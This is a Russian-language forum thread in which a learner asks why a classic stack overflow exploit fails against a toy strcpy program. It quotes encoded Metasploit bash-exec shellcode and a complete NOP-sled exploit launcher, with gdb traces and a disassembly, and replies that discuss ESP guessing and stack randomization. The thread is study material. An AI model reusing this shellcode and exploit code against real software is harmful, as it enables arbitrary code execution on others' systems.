Добрый день. У меня есть программа типа Код (Text): #include <string.h> int main(int argc, char *argv[]) { if (argv[1]) { char buffer[500]; strcpy(buffer,argv[1]); return 0; } } в которой можно вызвать перполнение стека с помощью передаваемого параметра. У меня есть шеллкод: Код (Text): /* linux_ia32_exec - CMD=bash Size=64 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x31\xc9\x83\xe9\xf6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcf" "\xd9\xa8\xf3\x83\xeb\xfc\xe2\xf4\xa5\xd2\xf0\x6a\x9d\xbf\xc0\xde" "\xac\x50\x4f\x9b\xe0\xaa\xc0\xf3\xa7\xf6\xca\x9a\xa1\x50\x4b\xa1" "\x27\xdc\xa8\xf3\xcf\xbb\xc9\x80\xa7\xd9\xff\xa0\x46\x38\x65\x73"; Структура эксплойта выглядит так: ЦЕПОЧКА NOP + SHELLCODE + АДРЕС ВОЗВРАТА (повторяется много раз) Программа эксплуатирующая уязвимость выглядит так: Код (Text): #include <stdlib.h> char shellcode[]= "\x31\xc9\x83\xe9\xf6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcf" "\xd9\xa8\xf3\x83\xeb\xfc\xe2\xf4\xa5\xd2\xf0\x6a\x9d\xbf\xc0\xde" "\xac\x50\x4f\x9b\xe0\xaa\xc0\xf3\xa7\xf6\xca\x9a\xa1\x50\x4b\xa1" "\x27\xdc\xa8\xf3\xcf\xbb\xc9\x80\xa7\xd9\xff\xa0\x46\x38\x65\x73"; unsigned long sp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); ret = esp - offset; printf("Stack pointer ESP: 0x%x\n",esp); printf("Offset from ESP: 0x%x\n",offset); printf("Desired Return Addr: 0x%x\n",ret); buffer = malloc(600); ptr = buffer; addr_ptr=(long *)ptr; for(i=0; i<600;i+=4) { *(addr_ptr++)=ret; } for(i=0; i<200; i++) { buffer[i]='\x90'; } ptr = buffer + 200; for(i=0; i<strlen(shellcode);i++) { *(ptr++)=shellcode[i]; } buffer[600-1]=0; execl("./vuln","vuln",buffer,0); free(buffer); return 0; } Суть проблемы в том, что я не очень понимаю, как угадать адрес возврата, так как он всегда разный. Я не очень понимаю, на чём основано предположение, что адрес возврата, получаемый эксплойтом Код (Text): __asm__("movl %esp,%eax"); будет таким же как в эксплуатируемой программе. Более того, запуская эксплуатируемую программу в отладчике: Код (Text): :/root/sploit# gdb vuln GNU gdb 6.6-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"... Using host libthread_db library "/lib/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x80483e2 (gdb) run Starting program: /root/sploit/vuln Breakpoint 1, 0x080483e2 in main () (gdb) x $esp 0xbfa83234: 0xbfa83250 Я получаю постоянно разные значения регистра esp. То есть тогда получается, что адрес возврата(значение регистра $esp) "гуляет" по памяти и его предугадать невозможно? Какие есть соображение по этому поводу, и как всётаки написать рабочий эксплойт? Спасибо.
Хм, вообще все работает в предположении, что в "ломаемой программе" esp не более чем на 200h отличается (грубо говоря) от esp запускаемой программы в момент запуска upd main, для этого и используются нопы, а как в линуксе это устроено все( с esp ) я не знаю..
Я не очень понимаю. В большую сторону или в меньшую? А если отличается хотяб , то напправлется выполнение кода в правильную строну через цепочку nop ов?
lust Выложи эксплойт в мнемониках, пожалуйста. Надо на содержимое посмотреть, так сложно сказать. Тем более, что тело эксплойта передается в другой процесс, где содержимое esp, вероятно, уже не будет играть никакой роли. P.S. А в книге комментариев нет?
Что ты подразумеваешь под мнемониками? Я не в курсе термина. А книга которую читаю вот: http://rapidlinks.ru/link/?lnk=40024 По-моему очень неплохая в своём роде, но никаких инструкций относительно своего случая я в ней не нашёл =(
Код (Text): char shellcode[]= "\x31\xc9\x83\xe9\xf6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcf" "\xd9\xa8\xf3\x83\xeb\xfc\xe2\xf4\xa5\xd2\xf0\x6a\x9d\xbf\xc0\xde" "\xac\x50\x4f\x9b\xe0\xaa\xc0\xf3\xa7\xf6\xca\x9a\xa1\x50\x4b\xa1" "\x27\xdc\xa8\xf3\xcf\xbb\xc9\x80\xa7\xd9\xff\xa0\x46\x38\x65\x73"; Вот это в виде инструкций типа 'xor ecx, ecx'. У меня просто инструментов сейчас нет -- систему ставлю...
lust Получается, что будет работать, если полученный ret больше или равен адресу буфера в стеке, но меньше, чем адрес буфера + 0х200, т.к. тогда управление передается на нопы по которым уже доходит до шеллкода
Вот дизассемблированная функция main в уязвимой программе(vuln) Код (Text): (gdb) disassemble main Dump of assembler code for function main: 0x080483d4 <main+0>: lea 0x4(%esp),%ecx 0x080483d8 <main+4>: and $0xfffffff0,%esp 0x080483db <main+7>: pushl 0xfffffffc(%ecx) 0x080483de <main+10>: push %ebp 0x080483df <main+11>: mov %esp,%ebp 0x080483e1 <main+13>: push %ecx 0x080483e2 <main+14>: sub $0x214,%esp 0x080483e8 <main+20>: mov 0x4(%ecx),%eax 0x080483eb <main+23>: mov %eax,0xfffffdf8(%ebp) 0x080483f1 <main+29>: mov %gs:0x14,%eax 0x080483f7 <main+35>: mov %eax,0xfffffff8(%ebp) 0x080483fa <main+38>: xor %eax,%eax 0x080483fc <main+40>: mov 0xfffffdf8(%ebp),%eax 0x08048402 <main+46>: add $0x4,%eax 0x08048405 <main+49>: mov (%eax),%eax 0x08048407 <main+51>: test %eax,%eax 0x08048409 <main+53>: je 0x8048435 <main+97> 0x0804840b <main+55>: mov 0xfffffdf8(%ebp),%eax 0x08048411 <main+61>: add $0x4,%eax 0x08048414 <main+64>: mov (%eax),%eax 0x08048416 <main+66>: mov %eax,0x4(%esp) 0x0804841a <main+70>: lea 0xfffffe04(%ebp),%eax 0x08048420 <main+76>: mov %eax,(%esp) 0x08048423 <main+79>: call 0x8048308 <strcpy@plt> 0x08048428 <main+84>: mov $0x0,%eax 0x0804842d <main+89>: mov %eax,0xfffffdf4(%ebp) 0x08048433 <main+95>: jmp 0x8048437 <main+99> 0x08048435 <main+97>: jmp 0x804843d <main+105> 0x08048437 <main+99>: mov 0xfffffdf4(%ebp),%eax 0x0804843d <main+105>: mov 0xfffffff8(%ebp),%edx 0x08048440 <main+108>: xor %gs:0x14,%edx 0x08048447 <main+115>: je 0x804844e <main+122> 0x08048449 <main+117>: call 0x8048318 <__stack_chk_fail@plt> 0x0804844e <main+122>: add $0x214,%esp 0x08048454 <main+128>: pop %ecx 0x08048455 <main+129>: pop %ebp 0x08048456 <main+130>: lea 0xfffffffc(%ecx),%esp 0x08048459 <main+133>: ret Ещё набрёл в сети на такую нить: http://archive.cert.uni-stuttgart.de/vuln-dev/2004/03/msg00023.html Может быть это причиной?
А как можно проверить используется ли рандомизация или нет? чтоб со 100% вероятностью. У меня есть програмка Код (Text): #include <string.h> unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } И она каждый раз выводит разные значения. Это можно считать докозательством рандомизации?